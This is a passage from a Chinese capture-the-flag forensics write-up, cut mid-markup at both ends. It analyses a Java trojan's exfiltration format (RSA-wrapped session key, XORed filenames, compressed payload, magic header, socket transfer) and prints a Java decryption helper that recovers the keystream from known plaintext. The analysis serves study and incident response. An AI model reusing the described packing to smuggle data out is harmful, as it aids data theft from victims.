rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">协议封装 (l1I.java)</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">最后，数据被打包成外传格式：</span></p><ul style="list-style-type: square;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Key 保护</span></strong><span leaf="">：生成 8 字节随机 Session Key，并使用 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">RSA-2048</span></strong><span leaf="">公钥加密。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">打包</span></strong><span leaf="">：将 RSA 加密后的 Key、被异或（XOR 233）的文件名、压缩后的 Payload 拼接在一起。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">文件头</span></strong><span leaf="">：添加 89 61 6C 69 (&#34;\x89ali&#34;) 作为整个封包的起始标志。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第三阶段：网络外传（流量包分析）</span></strong></p><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">数据外泄</span></strong><span leaf="">：木马通过 Socket 将打包好的二进制流发送到远端服务器（流量包中的 data0, data1, data2）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">特征观察</span></strong><span leaf="">：</span></p></li></ol><ul style="list-style-type: square;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">文件开头是 00 00 00 00（填充）+ 89 61 6C 69（魔数）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">文件头包含 256/257 字节的 RSA 块。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">奇数 batch 走 algo3，输出对 key 不敏感（可视为 keyless），因此尝试用 key-bit 基向量求解时会出现 rank=0；偶数 batch 才使用依赖 key 的 algo2，需要用已知明文恢复 keystream/密钥，总共有三个batch。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">整道题的解法如下：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">每个 batch 的 3 个文件里 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第一个文件是“已知源码文件”</span></strong><span leaf="">（工程里存在同名文件）</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">客户端外传前会先对每个文件调用 Il1.Il1() 压缩成 LZRR</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">所以我们可以本地调用同一个压缩器得到完全一致的明文块 P_known</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">对应抓包里的密文块 C_known</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">于是 keystream可以直接得到：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">KS=C_known⊕P_known</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">从而绕过 RSA</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">用 keystream / 或恢复的 key 解密 encrypted_blob 得到拼接明文 blob</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">按 offset 切成 3 个 LZRR 块</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">对每个 LZRR 解压得到原始文件 bytes</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">就能解出图片</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">解密脚本如下：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">CTFHelper.java</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> java.io.*;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> java.lang.reflect.Method;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> java.nio.file.*;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> java.util.*;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">public</span></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">CTFHelper</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">//private static byte[] Il1(byte[] data, byte[] key, int idx)</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] crypt(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] data, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] key8, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> batchIdx) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> Exception {</span><span leaf=""><br/></span><span leaf="">        Class&lt;?&gt; cls = Class.forName(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;i.l.l1I&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        Method m = cls.getDeclaredMethod(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Il1&#34;</span></span><span leaf="">, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[]</span><span style="line-height: 26px;"><span leaf="">.</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span leaf="">, </span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[].</span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">class</span></span><span leaf="">, </span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">int</span></span><span leaf="">.</span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">class</span></span><span leaf="">)</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        m.setAccessible(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[]) m.invoke(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">null</span></span><span leaf="">, data, key8, batchIdx);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// i.l.Il1.Il1(byte[])：LZRR</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] lzrrCompress(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] plain) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> Exception {</span><span leaf=""><br/></span><span leaf="">        Class&lt;?&gt; cls = Class.forName(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;i.l.Il1&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        Method m = cls.getDeclaredMethod(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Il1&#34;</span></span><span leaf="">, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[]</span><span style="line-height: 26px;"><span leaf="">.</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span leaf="">)</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        m.setAccessible(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[]) m.invoke(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">null</span></span><span leaf="">, plain);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] hexToBytes(String hex) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (hex.length() % </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf=""> != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throw</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf=""> IllegalArgumentException(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;hex length must be even&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] out = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[hex.length() / </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; out.length; i++) {</span><span leaf=""><br/></span><span leaf="">            out[i] = (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">) Integer.parseInt(hex.substring(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">*i, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">*i+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">), </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> out;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">writeAll</span></span><span style="line-height: 26px;"><span leaf="">(String path, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] data)</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> IOException </span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">        Path p = Paths.get(path);</span><span leaf=""><br/></span><span leaf="">        Files.createDirectories(p.getParent() == </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">null</span></span><span leaf=""> ? Paths.get(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;.&#34;</span></span><span leaf="">) : p.getParent());</span><span leaf=""><br/></span><span leaf="">        Files.write(p, data);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] readAll(String path) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> IOException {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> Files.readAllBytes(Paths.get(path));</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] xor(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] a, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] b) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] out = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[a.length];</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; a.length; i++) out[i] = (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">)(a[i] ^ b[i]);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> out;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// [4-byte LE n] + ks0(n) + delta0(n) + ... + delta63(n)</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">cmd_basis</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> batchIdx, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> nbytes, String outFile)</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> Exception </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] zeros = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[nbytes];</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] key0 = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] ks0 = crypt(zeros, key0, batchIdx);</span><span leaf=""><br/></span><span leaf="">        ByteArrayOutputStream bos = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf=""> ByteArrayOutputStream();</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 4-byte little endian nbytes</span></span><span leaf=""><br/></span><span leaf="">        bos.write(nbytes &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        bos.write((nbytes &gt;&gt;&gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        bos.write((nbytes &gt;&gt;&gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        bos.write((nbytes &gt;&gt;&gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">24</span></span><span leaf="">) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        bos.write(ks0);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> bit = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; bit &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">64</span></span><span leaf="">; bit++) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] k = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> bi = bit &gt;&gt;&gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> bj = bit &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">            k[bi] = (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">)(k[bi] ^ (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt;&lt; bj));</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] ksi = crypt(zeros, k, batchIdx);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] delta = xor(ksi, ks0);</span><span leaf=""><br/></span><span leaf="">            bos.write(delta);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        writeAll(outFile, bos.toByteArray());</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">cmd_compress</span></span><span style="line-height: 26px;"><span leaf="">(String inFile, String outFile)</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> Exception </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] plain = readAll(inFile);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] comp = lzrrCompress(plain);</span><span leaf=""><br/></span><span leaf="">        writeAll(outFile, comp);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">cmd_crypt</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> batchIdx, String keyHex, String inFile, String outFile)</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> Exception </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] key = hexToBytes(keyHex);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (key.length != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throw</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf=""> IllegalArgumentException(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;key must be 8 bytes (16 hex chars)&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] data = readAll(inFile);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] out = crypt(data, key, batchIdx);</span><span leaf=""><br/></span><span leaf="">        writeAll(outFile, out);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">public</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">(String[] args)</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">throws</span></span><span leaf=""> Exception </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (args.length &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">            System.err.println(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Usage:&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            System.err.println(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;  java -cp classes CTFHelper basis &lt;batchIdx&gt; &lt;nbytes&gt; &lt;outBasisBin&gt;&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            System.err.println(</span><span 